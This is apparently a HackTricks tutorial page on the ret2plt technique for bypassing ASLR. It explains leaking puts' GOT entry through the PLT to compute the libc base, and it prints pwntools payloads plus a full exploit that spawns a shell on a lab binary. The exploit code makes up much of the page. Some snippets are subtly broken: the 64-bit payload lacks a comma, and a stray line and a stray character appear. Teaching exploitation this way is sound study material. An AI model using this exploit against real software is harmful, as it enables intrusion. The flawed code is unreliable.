Search K
Appearance
Appearance
Other ways to support HackTricks:
The goal of this technique would be to leak an address from a function from the PLT to be able to bypass ASLR. This is because if, for example, you leak the address of the function puts
from the libc, you can then calculate where is the base of libc
and calculate offsets to access other functions such as system
.
This can be done with a pwntools
payload such as (from here):
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
Note how puts
(using the address from the PLT) is called with the address of puts
located in the GOT (Global Offset Table). This is because by the time puts
prints the GOT entry of puts, this entry will contain the exact address of puts
in memory.
Also note how the address of main
is used in the exploit so when puts
ends its execution, the binary calls main
again instead of exiting (so the leaked address will continue to be valid).
โ
Note how in order for this to work the binary cannot be compiled with PIE or you must have found a leak to bypass PIE in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first.
You can find a full example of this bypass here. This was the final exploit from that example:
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
system('/bin/sh')
Other ways to support HackTricks: